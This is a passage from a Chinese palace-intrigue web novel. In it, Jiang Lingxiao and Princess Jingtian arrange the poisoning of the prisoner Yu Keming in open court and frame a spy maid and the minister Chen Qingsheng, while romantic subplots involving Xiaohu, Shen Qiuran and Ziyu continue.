“没错,有情有义。但你被暗杀后死里逃生,上天给了你崭新的机会,或许你外祖母更希望看你好好活下去,在光明里。”
“哼,做官就是光明吗?沈戚风站到光里了吗?沈丘染双手沾的鲜血属于几条命的,还数得过来吗?你和我同流合污,身上也有光吗?”
阮太医被误伤,倒也没看出丝毫介意,“凡事做过,必留痕迹,没有实证,也有神明。没有神明,也有突如其来的判官,瞧瞧,我此刻就在被审判着嘛。”
“······”
姜凌嚣自知失态,“对不住。”
作为波诡云谲宫斗中活到最后的人,阮太医才不介意毫无实质伤害的言语中伤,他最后忠告:
“人没有非黑即白,区别就是这个黑比白多,那个白比黑多,跟萤火虫似的,有的发光亮一些,有的暗一些。
光聚得多的那条路,叫做正义,另一条黑漆漆的,叫邪恶。
人只要活着,就免不了上那条黑路走几步,但大都赶紧回到有亮光的路上了,走得心安。一直在黑里走,一定会摔跤,一定会撞墙,甚至会跌进万劫不复的深渊,因为黑暗有没有尽头。”
可能在以前的几次摔跤后,听到这些真挚的劝告,姜凌嚣会有动摇,但现在,他有遏制都要溢出来的膨胀:“难道于克明死得不够大快人心吗?”
“卖国贼杀得好!这事办得妥妥妥!”阮太医遏止好言相劝,改为附和。
头顶上“呼啦呼啦”盘旋个黑东西,阮太医眯眼:“这黑乎乎的是什么?蝙蝠?”
姜凌嚣抬头,是小虎一直养着的那只疯疯癫癫的八哥。
转移话锋,阮太医立刻转身进屋,继续老脸卖笑,左右逢源。
“咚——”的一声唐突,惊吓到满屋子的人。
八哥横冲直撞进屋,落在灯台上,嘎嘎大叫:“妥妥妥!”
刚才说的话转头被泄露,阮太医吓的杯子掉地,脸色蜡黄。
沈丘染醉眼迷瞪:“这鸟都是学舌,指不定从哪儿听到这么句话,就开始学。本官问你,‘妥’什么?”
姜凌嚣进门,盯着八哥,想杀了它,但它钻进了房梁里,继续大叫:“妥妥妥!”
沈戚风大着舌头:“脱脱脱?嘿嘿,叫几个名伎来,一起脱脱脱!”
“哈哈哈!”醉鬼们狂笑,淹没八哥的叫声。
阮太医陡然高叫:“我要回家!”
“怎么了,老太医?”
阮太医颤颤巍巍,带着哭腔往门外跑:“年轻时候管不住下半身,老
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了一样管不住,我要回家换裤子。”
“哎唷,一听说找女人脱衣服,这么大年纪了,还能激动的下种子呢?”
沈戚风摸到了阮太医坐过的椅子,沾了满手湿,以为是酒,舔了舔,破口大骂:“操,老头子尿裤子了!”
八哥顺着窗缝飞走了,杀死于克明的那些话暂时不会被告密了。
可谁能预测到今后又在哪时哪刻,旧事重提。
姜凌嚣惴惴不安,阮太医说的那句“凡事做过,必留痕迹,没有实证,也有神明”,似乎在隐隐显现。
有八哥就有小虎,她抱着狗闯进门,对姜凌嚣喜滋滋炫耀:“五弟送我的狗那天没带回家,紫玉今儿给我送来了,一会儿我要带回家。”
姜凌嚣回神,一口否决:“不行。”
“为什么!”小虎和沈丘染异口同声。
今日真是人人都有同盟,就自己孤立无援,姜凌嚣瞬间恼怒不堪,“我说了不行,就是不行。”
姜凌嚣几乎没拒绝过自己,今日特别不容商量,小虎不顾酒桌上还有那么多人,大吵大闹:“不行你说个理由。”
“砰”,酒杯在姜凌嚣指间捏碎,脾气上脸。
沈丘染忙起身解围,让小虎抱狗回家,“他喝醉了,酒醒了一准儿同意你养狗。”
姜凌嚣睨向沈丘染的眼神异常冷硬,带刺,“这事没有转圜。”
他单方面的剑拔弩张,将风光的沈丘染弄了个下不来台。
更令沈丘染瞠目结舌的,姜凌嚣自己夹了口肉到嘴中,破了吃素的戒。
他当众亵渎了对神明的虔诚。
小虎抱着狗气跑了,姬有德不由自主跟着她下楼,来到店门外。
酒楼门口有辆崭新的豪华马车,小虎不管不顾,抬脚“哐哐”乱踢撒气。
姬有德注视着小虎,一脸娇羞倚在马车上,“这是沈戚风新买的车。”
小虎踢得更狠了,最后收脚时差点摔倒。
姬有德赶紧上前扶住,讨好:“姜凌嚣不让你养,你可以把狗养在我家。”
小虎没好气:“你是谁?算老几?”
姬有德老老实实答:“我是姬有德,家中排行老三。”
他掏出颗糖,递给小虎。
小虎抱着狗,腾不出手,低头舔糖到嘴。
她的舌头不小心触到了姬有德的手心,濡湿温热,他哆嗦了一下,忽然低头,亲了她额头一下。
“啪”,小虎抽在姬有德右脸,留下个五指印,“抱狗腾不出手,扇人可以。”她很嚣张。
姬有德立刻站直身子,乖乖的:“对不起。”
“啪”,小虎又赏了姬有德左脸一巴掌。
姬有德委屈:“我没再冒犯,你还打我。”
小虎叫嚣:“一个巴掌叫惩罚,一个叫你长长记性。”
正说着,给狗买骨头的小炸药气喘吁吁赶来,满头大汗,他拽起衣摆擦头时,露出腰间的狗牙挂串。
姬有德眯缝眼登时睁大。
刚才在饭桌上,他没给姜凌嚣讲完的那句,正是——
此去康凌郡,他在一个爆炸过的山洞里,发现了有人暗中炼制地藏蕨和丹料,正不知其何人所为。
但他捡到了一条狗牙挂串。
和小炸药腰间的一模一样。
33. 公主杀
镇和殿前殿,竞天还没进去拜见朱帝,就被陶公公好心拦住:“公主若无要事就等明日再见皇上,他心情不好一天啦,到现在也没个好脸。”
今儿一早,她瞥见姬无心和朱帝从太后宫里先后出来,朱帝脸上又带怒气。
敌人的敌人就是杀人利刃,竞天公主谢过陶公公好意,执意去见朱帝。
暖殿里,摆着一张长桌,朱帝正在背手练字,大病初愈,还有些咳嗽,贴身伺候的宫女偏头躲了一下,就被他一脚踹倒:“居然敢嫌朕!拉出去打成肉泥!”
竞天公主今晚异常乖觉,面圣即大跪,痛陈悔思,把前日冒犯圣驾都拢在“仗着与皇上您一母同胞,还当是小时候玩耍那样没大没小”的亲情里。
提及儿时,确有一些无忧无虑的日子,朱帝受了触动,挥挥手,一副宽容大量的样子:
“你仗着朕撑腰,恃宠而骄,今后记住朕是男人,又是一国之君,你得学会屈服。平身吧。”
竞天感激涕零,专掏心窝子话:
“姬无心三番五次推姬有德做我驸马,不过是贪图那两座山,万一真落到他手里,有朝一日,他在山里养兵,妄图谋逆,威胁与我同根生的皇帝,我便生恨入骨!”
朱桢本做太子时就受够了姬无心的掣肘,以为熬到做了皇帝就能说一不二。
谁知做了皇帝,大臣们还是都看姬无心的脸色,导致自己难以服众。
尤其今天,姬无心通过太后要越过他提审于克明,太后居然答应了,于是闹出于克明差点被暗杀。
皇亲国戚里,只有此刻的竞天给了朱桢本做皇帝应有的快感,他亢奋地走来走去,大肆褒扬:“你很忠心!朕一定要给你写个匾!”
获取了皇帝信任与结盟,竞天叩头谢恩时,嘴角牵起一丝邪魅。
宫内沉寂下来,秋绘不再装病,翻完竞天的书架和鸟笼,鬼头鬼脑前去告密。
等竞天回宫,秋绘卧在榻上,一副病容。
竞天替秋绘掖了掖被角,转身去了自己书房,抽出《左传》.
偷偷夹在内页的一根头发,不在了。
她又走到鸟笼前,抹了下笼门上的香灰,也不见了。
秋绘是内歼!
竞天后怕的出了一身冷汗,幸好译出的恐怖密函被她吞到了肚子里,而不是烧了,否则以秋绘的细致,她一定会翻出灰烬窥出字迹,不管她效忠的人是谁,知道了信里的机密,自己必将死路一条。
因为选驸马,自己陷入四面楚歌,从小一起长大的贴身宫女却此时背叛,真该罪当万死!
竞天公主恐惧的眉目渐渐冷硬,她一把抓出画眉,打开颈锁,倒出两粒芝麻大的一黑一白药丸。
夜漏一点一滴的嘀嗒着,时间无可阻止地流向血雨腥风的明天,竞天心惊胆战的彻夜未眠。
漏壶滴完最后一滴,坐在床沿衣不解带的姜凌嚣抬头,神色焦灼,望向窗外皇宫的方向。
天蒙蒙亮了,不知竞天会不会和他联手,更不知即使她肯联手,她会怎么做,能不能成功。
这次赌注太大,赌得太过铤而走险,他甚至有点后悔,但已然来不及撤回……
玄明殿,殿上,朱帝居中而坐,太后背后听政。
有了昨晚的投诚,朱帝上朝带来了竞天,在殿下与姬无心平起平坐,为的就是恶心老东西:你的地位,在朕眼里,和没实权的女人一样。
姬无心瞥见竞天,又瞄了半眼朱帝,轻蔑淡笑,跷起带有铁铸狼头的尖靴,霸气侧漏。
沈丘染和几位大臣垂手立于两侧,共同观摩卖国求荣的处决。
“哗啦哗啦”沉重镣铐拖地而行,于克明被狱史押至殿下,解除铁头盔。
谁成想,头盔下还有个铁嚼子。
朱帝上前捡起铁嚼子,自鸣得意:“这是朕的杰出作品,为防他畏罪咬舌自尽。”
于克明蓬头垢面,遍体鳞伤,不成人样,见到朱帝,三叩六拜,嘴里哇啦哇啦,发音含混不清。
朱帝困惑:“朕并没命人打你,怎么落得如此模样?”
姬无心笑的露出一排尖牙:“我连夜替皇帝审了他,他不肯交代罪行,便剪了他一块舌头。来,张嘴,让大家看看你不听我话的下场。”
于克明张嘴,哪是剪了一块舌头,都挖到了舌根,嘴里空洞漆黑。
昔日同饮酒、共杀敌的同僚下场惨烈,沈丘染不忍卒视,别过头。
竞天公主深居后宫,头一次见如此狼狈不堪的人,尤为不忍,把自己的茶碗递给秋绘:“给他润润嗓子,好让他踏踏实实朝皇上交代罪行。”
都是昨晚调教的好,竞天说的话朱帝很是受用,赞许首肯。
公主施展皇家悲悯,诸人并无异议。
于克明叩头谢恩,饮尽茶水。
朱帝:“舌头没了,还可以写。沈大将军捉到你时,你不是说有人劫持了你和张大嘴的兵器吗?朕为你做主,写出他的名字。”
陶公公马上端来笔墨。
众人齐齐看向于克明笔下,尤其沈丘染,格外期待解谜。能抢劫一方地霸和太守的,究竟何方神圣?
于克明落笔,刚在纸上点了一个墨点,便猛烈咳嗽,毛笔划了一下掉落,然后如同发疯,狠狠掐着自己脖子。
沈万湖警告:“钦犯别朝上作怪······”
“噗——”,于克明吐出丈高血柱,直喷到房梁,仰面重重倒下,眼珠爆裂,面色青紫,当场暴毙。
诸臣吓得一哄而散,朱帝更是吓得“哇呀呀”扑进太后怀里,集体看向竞天公主。
于克明是喝过她的茶才死的!
竞天公主同样震惊,不等人提出质疑,她快步走到秋绘面前,一巴掌将秋绘打翻在地,痛恨:“你是要毒死你主子!”
秋绘捂着脸,噗通跪下:“公主明鉴,与奴婢无关!奴婢只是端拿,茶水不是奴婢倒的!”
陶公公变脸:“大胆!水是咱家倒的,皇上太后喝了都没事,怎么单单你碰了就有问题?”
竞天公主胸口剧烈起伏,怒目圆睁,她冷不丁拔走沈丘染的剑,架在秋绘脖子,狠厉:“你个奸细,胆敢背叛你主子!要不是死的于克明,死的就是本宫!说,你与谁吃里扒外?否则本宫杀了你!”
秋绘吓破了胆,方寸大乱,寻找一圈文武百官,扑到陈庆升脚下,凄声求救:“陈大人,您为我做主!”
原来秋绘的幕后主使是陈庆升,竞天还
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以为是太后。
陈庆升乱踢秋绘,极力避嫌:“放肆!我一个不入后宫的外臣,你一个宫女,层层高墙侍卫隔着,并无交集,找我做什么主!”
秋绘吓得已毫无理智,抱住陈庆升的大腿,死死不撒手:“是您交代的,公主见了什么人说了什么话,甚至是收了什么东西,事无巨细统统密报于您!”
陈庆升一脚踹翻秋绘:“血口喷人!闭嘴!”
朱帝震怒:“让她说下去!”
秋绘鬼哭狼嚎,将陈庆升怎样俘获她做奸细,怎样通过太监往外递消息,交代的清清楚楚,咬出宫内一串人。
朝堂哗然。
姬无心喝令御前侍卫,将秋绘所供之人全部当场拿下。
朱帝离开太后怀抱下殿,捧起于克明遗书。
毒发太快,死者只留下小小一块墨迹。
姬无心断定:“这是个点。”他犀利的狼眼扫视过文武百官,问:“在康陵郡待过的官员里,谁的姓氏第一笔是点?”
朱帝哼笑:“这分明就是女字旁的初笔,一撇。”
女子旁,当然是“姬”,指向太过明显。文武百官纷纷垂下眼皮,默不作声。
姬无心藐视朱帝的污蔑,侃侃而谈:“于克明点完墨点就喷血而亡,你认为的撇,其实是拖长的墨迹。”
连对皇上的尊称也无,放肆到这个地步,朱帝暴怒,指着姬无心,“于克明一被沈丘染逮捕,你迫不及待要姬有才南下,替补他的位置!我看是你想把老巢往那边搬!为的是把控边疆,养兵自重,意图日后造反!”
姬无心冷哼:“要说在康凌郡待过的,还有沈丘染。那于克明留下的是一点,还是一撇,更加要谨慎下断了。”
在前线出生入死过也能被当面泼脏水,沈丘染差点骂脏话:“你放……”
“咚”,跪在陈庆升脚边的秋绘突然栽倒,口鼻冒血,一命呜呼。
竞天惊吓大叫,跌坐在地。
朱帝抬脚就踹陈庆升:“你敢当朕的面杀人!你个结党营私妄图篡权的老贼!”
陈庆升扑通跪下:“皇上,老臣绝无忤逆之心!不过是老臣为了犬子能做驸马,想投其所好,所以监视了竞天公主。”
殿上顿时乱成一锅粥。
竞天公主踉跄出殿,站在高高的台阶上,背后就是左右大峪国存亡的智囊团,而她独自欺骗过所有人,达成一场完美的借刀杀人。
早上,她亲自端给秋绘一碗止泻药,秋绘怕装病露了马脚,不得不喝。
来到殿上,她又在自己茶碗里下了毒。
毒杀乾坤就在姜凌嚣的密信里:【锁中剧毒白缓黑速杀于克明】
两种时效的毒药,不过是为竞天多一个选择,见机行事。
朝中势力多足鼎立,相互虎视眈眈,一朝矛盾起,相互撕咬,谁会去怀疑一个待宰羔羊般的“废物”公主?
轻视女人的下场,活该被利用。
天上忽降鹅毛大雪,渐渐覆盖世间肮脏。
陈锋令作为陈庆升之子,彻底出局驸马人选。踢出姬有德,自选驸马,还会远吗?
竞天公主仰面展臂,拥抱世人祈求平安、冤魂泣求昭雪的苍天,莞尔一笑。
34. 芥蒂
黄昏,风紧雪斜,宫外的第一个丁字路口,姜凌嚣勒马,等在马背上。
不消片刻,阮太医的马车马不停蹄穿过路口,车帘车窗紧掩,窗户上挂着一条红布,随风而飘。
红布条,是于克明顺利死亡的暗号。
再次成功脱罪,逍遥法外,姜凌嚣清朗浅笑,继而无声大笑,毫无罪恶感,意气风发掉转马头,奔往得胜酒楼。
包间里,酒菜上全了,孙大可跑上来禀告,按照他的吩咐请来了沈丘染,他已带着小虎和紫玉上楼了。
姜凌嚣哼起无名小调,亲自倒酒。
“咣”,门开声有点大,小虎踹开门就抢了个鸡腿,坐下咔嚓咔嚓啃。姜凌嚣朝她飞了几次含情眼,她头都没抬。
紫玉碎步随后,接替姜凌嚣斟酒,他便收敛神色,正襟危坐。
沈丘染愁眉苦脸进门,仰脖就闷了一杯酒,嫌不够烈:“换烈酒!”
姜凌嚣心知肚明死了重大要犯在朝堂之上,皇帝臣子都受了惊吓,却装得一副浑然不知:“出了什么事?”
“倒酒!”沈丘染扔了酒杯,换成碗。
紫玉乖乖倒满一碗,沈丘染又是一口闷,重重放下碗,这才开口:“今日朝堂公审于克明,他被人毒当众毒杀,血都喷房梁上去了。”
“谁下的毒?”
姜凌嚣本想装惊讶的,但听到于克明死亡画面如此“壮烈绚烂”,而这一切都是他背后主导,让他有种被赞美了作品的自豪感,唇角止不住微弯。
这笑容令沈丘染觉得惊悚又熟悉,好像曾在另一个不合时宜的场合见过,他使劲眨眨眼:“三哥刚才······是笑了吗?”
姜凌嚣正视向沈丘染:“笑什么?你喝猛了,眼花了?”
于克明和三哥合开过炼丹房,又结了干亲,怎么招也有情谊在,不可能笑。
沈丘染揉揉眼,叹气:“于克明舌头被姬无心割了,又中了剧毒,死得太快。同谋的姓名,他仅留下一点墨迹线索。”
姜凌嚣做贼心虚:“什么墨迹?”
“关于是一点还是一撇,朝中争论不休。”沈丘染拍了桌子,忿忿不平:“姬无心血口喷人,当着皇帝的面,非说那点墨迹是‘沈’的初笔,污蔑于克明要招供的人是我!老子抹了脖子,喷出的血都是清白的!”
既然线索歧义大,朝中各方必然趁机相互栽赃,完全怀疑不到自己头上,姜凌嚣又开始压制不住的得意:“笑话!你和于克明怎会有勾结?要说有,我比你嫌疑大。”
屋内其余三人齐齐看向姜凌嚣。
尤其小虎,往常眼神里不含任何情感杂质,像动物不谙世事,但这次,带了某种警觉似的。
姜凌嚣这才收敛了放任的自狂,清清嗓子,压低声量:“毕竟,我和他伙同开过炼丹房。”
他又拉沈丘染下水:“姬无心疑你,也不是没有根据。当初你执行公务在别处,却前去康陵郡追查于氏兄弟失踪案。”
沈丘染坦荡:“那是我当时的顶头上司和于克明交好,他让我去的,我敢不从?!”
“我知道你身正不怕影子斜,但架不住姬无心趁机咬你。”
沈丘染咬牙切齿:“他咬我,不过是想撕下我拿命挣来的苦劳,喂他那几个养尊处优的狼孙子!”
再风光的位子底下也是尖刀林立,一个稍不留意,就被捅了刀子。看着沈丘染也不容易,姜凌嚣忽然感到一种阴暗的轻松。
直到此刻,他才意识到自己是介意沈丘染靠“沈凌嚣”之死一路爬上将军位子的,而自己只能做个见不得光的罪犯。
有人压制沈丘染,姜凌嚣既感到一种平衡,又为他不平,担忧,怕他抗不过朝中恶斗。最终,还是不平大过了平衡。
姜凌嚣怜爱的亲自为沈丘染斟酒,宽慰他半天,对他的芥蒂在酒中融化。
沈丘染被烈酒烧得酩酊大醉,倒在桌上。
姜凌嚣自斟自酌,庆贺没有加封、永不见光的大获全胜,嘴角时不时括出放肆的笑意。
一直冷眼旁观的紫玉,心凉透了,于克明暴毙诡异,一定与姜凌嚣脱不了干系,他自己完成不了朝堂杀人,说明他的势力已经渗透到了朝廷,她想脱离密探的身份,恐怕更不能了······
散席,紫玉与沈丘染同乘一辆马车先走了。
小虎站到酒楼门口,看上了檐下的红灯笼,闹着非要,姜凌嚣爽快喊人搬梯子。
孙大可扶着梯子,闻到姜凌嚣散发着浓重的酒气,不放心:“我来吧。”
姜凌嚣摆摆手,固执醉步蹬梯,亲自给她摘下灯笼,示意孙大可给银子,他胳膊肘撑在小虎肩头,笑呵呵的:“这位小孩脾气,掌柜的多担待。”
掌柜的不收钱,还赔笑:“姜少东家,听说皇上御赐了您一副墨宝,有机会让我开开眼就得。”
“……”
那副“通假字”墨宝挂在药店正当中,人来人往的丢人现眼,姜凌嚣恨不得扔了烧了,但想到那是十万两白花花的银子买来的,他当场允诺转赠给酒楼,还赚个人情。
掌柜的连连摆手:“御赐哪能转让,这可不敢收!”
姜凌嚣大笑两声:“这世道,就是饿死胆小,撑死胆大。”
这样狂放的姜凌嚣,不常见,酒楼掌柜的一时有点懵。
上了马车,小虎玩着灯笼,忽然问:“于克明是康凌郡的那个于太守吗?”
姜凌嚣靠着椅背,无声喷着酒气,醉眼朦胧:“嗯。”
她转头:“又死了一个跟你有关系的。”
他眼神一下清明起来,拽过灯笼到她脸庞照亮,看了她一会儿,答:“他跟沈丘染的关系更好。”
撇清的方法有很多,但他偏偏提到了沈丘染。
她收养的瘸腿狗不见了,沈丘染下了战场还记得,回京就送了只新的给她,她不可能去怀疑他,嘿嘿笑了两下:
“以前听杨柳红讲,于太守也去闝她,还拿烟锅烫她大腿根子。反正老于也不是什么好东西,死了就死了。”
红灯笼的红光映着小虎的脸,显出一条淡淡的划痕,杨柳红扇她时刮破的。
白眉老太曾诊断,小虎愈合能力大不如从前,再也不可能像以前一样炸碎了还能恢复如初。
尤其现在逐渐滋生七情六欲,一动情就脆弱到和常人无异
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,平常看不到的疤痕就会显露。
也许,她又想起了杨柳红,她在世上的第一个朋友,成为她心中一个解不开的芥蒂。
而始作俑者,是他。
姜凌嚣心中牵动,伸出手,想要抱抱小虎,她却把手掌压在他手上:“给我。”
他笑,低头亲了她掌心一下,眨眨眼:“是这个吗?”
“少装!鸟笼呢?”
姜凌嚣凝眉:“什么鸟笼?”
“装画眉的那个!”
姜凌嚣一惊:“你怎么知道?”
他从来都不想她知道他背地里做的脏事,一直瞒得很死。
“我在市场上看到你了,你不是要给我惊喜吗?再藏着掖着,我就觉得不好玩儿了!”
“······”
“快给我!”小虎吵闹着去搜身。
姜凌嚣那股借刀杀人的得逞邪劲儿还没处发泄,又小别胜新婚,禁不住乱摸,一个翻身,将小虎压在身下。
她躲着乱吻,捏他嘴唇:“不是你说人应该要有廉耻,不能在屋外的吗?”
他的眼神邪狠,咬了她捂着他嘴的手指,趁她收手时,用嘴狠狠堵住她要叫出声的嘴,□□:“只要我想,礼义廉耻又算什么东西。”
继借刀杀人后,半野外的媾和践踏了人伦与礼节,让姜凌嚣又获得了另一种刺激的快乐,甚至觉得以前的恪守与服从,是种令人鄙夷、耻笑的愚蠢。
姜凌嚣衣衫不整,握住小虎的手,搭在他胸膛:“你给我穿。”
她听话地给他穿着衣裳,他撩开车窗帘子,不知从哪儿弄了跟柳哨叼在嘴边吹了几声。
远处的招风耳耳朵忽闪了两下,立刻掉转马头。
小虎翻个白眼:“开窗干什么?冻死了!”
杀人犯被她恶语训斥,也只是呵呵轻笑,他乖乖放下窗帘,扒开她的衣领,深深亲了下她肩膀,留下一个亲密的印章。
回到客栈,两人上楼,招风耳下楼,擦肩而过时,他朝姜凌嚣暗暗点了下头。
打开房门,盛着两只画眉的精致鸟笼已摆在桌上。
“啊,我昨儿看到是一只,原来是两只!是我看错了吗?”
小虎兴奋得大跳大叫,对着姜凌嚣又搂又亲,把他哄得差点忘记正事。
她开心,他也高兴,抬臂举高了她几下,轻轻放在地上,拍拍她脑袋:“我先去书房,忙完就回来。”
临出门前,他转头仔细看了她一眼,没有伤心的时刻,她脸上看不到任何疤痕。
他自信有能力让她一直无忧无虑下去。毕竟,他是个玩了整个朝廷还没留下痕迹的人物。
书房里,耿正探听了消息回来。
陈庆升作为毒杀于克明和秋绘的头号嫌犯,剥夺官职,羁押天牢,择日抄家。
今晚,耿正会潜入陈家善后,以坐实陈庆升谋杀于克明的罪过,终止此案。
然后腾出全部精力去搞地藏蕨汁,尽快恢复炼丹,才能保养人力财力去追踪姜家的灭门凶手。
陈锋令嘴里可疑的金牙,姜凌嚣一直没忘。
“我要活的陈锋令。”他阴狠道。
35. 刺红
交代完正事,姜凌嚣回房就寝。
刚推开门,小虎用利器抵在他喉结,神色陌生:“这东西是谁的?”
姜凌嚣低头。
竞天公主的那根发簪。
发簪实属无心滞留。若为息事宁人,完全可以撒谎就是送给小虎的。
但今日的刺激太过震荡,以往杀灭的是个体,于克明之死可是玩弄了皇权,有种他比皇帝还厉害的错觉,此刻想连她也操纵。
姜凌嚣垂视,眼中满含挑衅:“别的女人的。”
如刀划过心尖,伤到了最柔软的地方,小虎怔住,没有大吵大闹,一颗泪珠碎了,在眼眶里打转。
没想到惹她这样,姜凌嚣瞬间揪心败落,慌忙转回温柔脸色,甚至低声下气:“没有别的女人。从前没有,现在只有你,今后也不会有别人。我今后不开这样的玩笑了。这是送你的。”
他送礼向来出手大方,毫不遮掩,这根做工别致的发簪却藏在枕下,不像他的风格。
小虎不信:“我不在的时候,肯定有别的女人出现!不然你为什么把我支走好几天?”
“不是你非要跟紫玉一起住吗?我成全你,也有错?”
倒打一耙,她哪是能言善辩的对手,变得哑口无言。
他逮住了机会,故意将脖子往发簪尖上凑,冰冷的发簪戳进他的皮肉,慢慢渗出血。
小虎吓得往后抽簪子,被姜凌嚣使劲捉住手,继续往脖子里戳。
“你流血了!”
姜凌嚣狰狞警告:“我只对你没有防范,所以唯一能近身杀我的,只有你。你若不是真心杀我,今后不许拿凶器威胁我。”
心疼蔓延,让人变得仓惶无措,她连连点头:“我记住了。”
他喜欢看她在乎自己,为自己牵动,手腕发力,簪子插得更深了些,一条血迹爬过白皙颀长的颈。
“你疯了?我已经说过记住了!”小虎使劲夺回发簪。那颗因他而起的泪珠,终于掉下来,引出了一串泪。
他入侵了她的不通人性,在她初始的七情六欲里占据了一席之地,看她的野性被自己驯化,为自己操纵,他暗爽,歪嘴邪笑了一下,终于撒手。
小虎赶紧扔掉带血的发簪,伸手触摸他颈间戳痕。
他:“别用手。”
“那用什么?”
他扬起下巴,命令:“嘴。”
小虎听话地攀住他的肩头,踮脚,吻在伤口。
丝丝的痛缠绕着甜蜜,姜凌嚣伸长脖颈,故作无动于衷。
但极力克制下,仍旧有细微而压抑的声息,从鼻中喷出。
忽然,床边条几上的烛苗灭了,整间屋子刹时被黑暗吞没。
在小虎还没反应过来时,她已被扑倒在了床上,姜凌嚣动作快得像捕猎。
猎物的脖子被重重反吻,啃噬,底下被重重一击,在她发出声音前,又被吻死死堵上了嘴,一时不能呼吸。
烛苗缓过来,又渐渐明亮起来。
红蜡烛,红烛光,整间屋子像红灯笼的里面,床上的人是不停摇摆的火焰。
外面雪大了。
炉火将熄,屋内冷气渐袭,沈丘染孤枕难眠,辗转反侧。
随口喊声丫鬟,便有人进来添炭,但他不愿。
他不止是身上冷,心里也凄惶,实在躺不住,下床挑亮油灯,盯着墙上挂着的宝剑。
剑是第一次要离开康凌郡时,于克明赠予他路上防身的,剑柄上刻着他的名字,烫金闪耀。
那时他们刚联手剿灭了张大嘴,双双意气风发,仿佛好景常存,仕途无限光明。
再回康凌郡,与拜基蛮子浴血奋战,守卫了一方百姓,用的也是用这把剑。
包括查出窝藏的兵器,羁押于克明沦为阶下囚时,也有此剑的现场见证。
本承载着复杂情意的一把剑,在今日白天,被竞天公主毫无征兆拔走,差点杀了人。
而后,昔日同僚暴毙于自己脚下。
这一年来的诸多变故,跌宕起伏,让沈丘染心里像砌了堵墙,郁闷,无光,逐渐失去方向。
“叮叮当当”修理东西的声音,不时从沈丘染房中传出。
他大半夜不睡觉,发出些扰人的动静,紫玉觉得蹊跷,放下绣了一半的鞋垫,推门到隔壁。
桌子上摆满了长长短短的刀剑,不下二十把,全都被沈丘染安上细链,上了锁,似乎这样都觉不保险,他正用钳子一圈一圈缠铁丝封紧刀鞘,听见紫玉进来,连头都没抬,忙碌到嘴唇干裂。
刀剑就图一个拔得利落快,却加上滑稽的锁链,除了某种较劲,偏执,无它。一定是又出了人命。
紫玉却什么也不问,只是默默冲了碗枣仁茶,放到他手边,轻声:“再忙也要喝水。”
沈丘染终于住手:“吵醒了你。”
“我压根没睡。”
“这么晚了还不睡?”
“怕你有事。”紫玉说完,恐伤了沈丘染的自尊心,忙加一句:“是怕你有事叫我。”
沈丘染住手,抬头看了她一眼,冰冷的眼神有了些许温度,“坐。”
深夜里,只是孤男寡女干坐着,有点令人不安。紫玉起身去给自己倒了碗枣茶,慢腾腾坐到对面,垂下眼皮,睫毛偶尔忽闪。
她怕冷,一只手贴在茶碗上取暖。
沈丘染忽然也伸出一只手,大掌贴在她茶碗的另一侧。
他有茶,却来捂她的。茶碗周身太小,搁置两只手有点局促,手指几乎要贴在一起。
沈丘染是个正人君子,哪怕在血气方刚的军营,过着苦行僧的生活,他都没拿她解过闷。她没有必要躲着他,于是,她任由他的手占据茶碗另一侧。
热气,从茶碗中幽幽飘起,氤氲在两人对视的眼中,成为一种温暖的暧昧。
紫玉突然伸出另一只手,贴住了沈丘染的手,他明显一抖。
他的手,竟然比自己的还凉。
紫玉握着他的大手攥攥,大胆而紧张:“这样好些了吗?”
“紫玉······”任何故作坚硬的英雄气概,都在此刻崩塌,沈丘染粗犷豪迈的嗓音化为一滩柔情。
他放下钳子,腾出另一只手,轻轻去靠紫玉另一只手背,贴住了,指节微微蜷曲,试探着握住。
握剑斩杀毫不拖泥带水的手,此刻不听使唤地颤抖。
紫玉没有躲,冲他温情脉脉一笑。
烛光昏暗,只能照亮眼前方寸,他的视野里只剩她的笑,这一抹温婉的笑容,点燃了角落里的黑暗,世界的黑暗,心里的黑暗。
沈丘染猛地起身,上前紧紧拥抱紫玉,感受着前所未有的,除了自身温度之外的,只属于另一个人的温度。
任世事疯癫失控,紫玉是他的安稳锚点。
一起走南闯北,同甘共苦,她对他的好也是真的,只是她清楚,自己不配他的纯粹,干净。
她想告诉他,朝他坦白,求他原谅,她是个安插在他身边的歼细。
最终,她没有说出口,因为没有足够的勇气,贪恋此刻的
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拥抱。
天亮了,出了太阳,雪地反着浓烈的白光,肮脏世界一夜之间变得清洁。
凄凉冷清的上善宫,忽然来了太后宫里的人,送来一车炭和许多补品。
很快,繁忙的太医也有空了,主动前来诊病。其它各宫生疏的姐妹们,更是走动频繁起来。
几副药和补品服下,若善公主能下地了,忙来竞安宫跪谢:“姐姐雪中送炭予我,太后知道了,非但没责怪,还疼惜我,那些势利眼才见风使舵。若不是你,这场瘟疫早将我带走。你是我的再生父母,我给你磕一个。”
竞天公主忙扶起若善:“不兴胡说,你我同父异母,是平等的姐妹,我岂能做你的父母?不过是我的母亲得了势,那些人巴结着我。若风水调换,我受了冷遇,你也必不会怠慢了我。”
患难见真情,若善哭得一塌糊涂。
竞天公主不喜欢女人抱头痛哭,给若善披上自己的金丝孔雀斗篷,扶着她往宫外走:“听说妙音坛架起了暖阁,今儿有好戏,一起去。”
见了太阳和雪光,若善开朗多了。戏开唱,她也能说会笑了。
戏唱半途,太后驾到,拉过若善的手,仔细询问病情,亲切叮嘱用药,又把若善惹了个稀里哗啦。
竞天公主疼惜妹妹的身子骨,赶紧要戏本子挑戏:“别叫她再落泪了,再听个《白蛇传》.”
太后笑着蹙眉:“净是些爱情戏。”
竞天公主撇嘴:“白娘子和许仙的爱情多感人啊,母后觉得不好吗?”
太后捏捏眉心,苦笑也泛着雍容华贵:“白娘子好不容易修炼成精,不想着去成仙成佛,倒往人间钻。就算堕入凡间,不仗着一身法力斗官争王,却迫不及待为个凡人弄大了肚子,最后受那么大磨难。”
若善天真:“白娘子是为了爱情。”
太后呵呵笑:“爱情要是跟块点心似的只有甘甜,那别人也不能说什么。可酿成苦情,真是没劲透了。”
竞天公主孩子气:“嫌苦?别听。”
整个皇宫,连朱帝都不敢和太后这样讲话,太后宽容笑笑,不打扰姐妹们难得的团聚,主动让出妙音阁,启驾回宫。
戏台上,白素贞盗仙草救爱人,触动竞天公主想起前几日,为了姜凌嚣,当众杀了于克明和秋绘,转移嫁祸。
自杀人以来,她寝食难安,愧对神明,但想到于克明倒卖官刀,害边疆百姓死在自己国家造的刀下,本身就是个杀千刀的死刑犯,她属于为民除害,理所当然替神明原谅了自己。
宫内歌舞升平,宫外却翻了天。
官兵占领陈府抄家,值钱东西全部收缴,连鱼池里的大王八也捞走了。
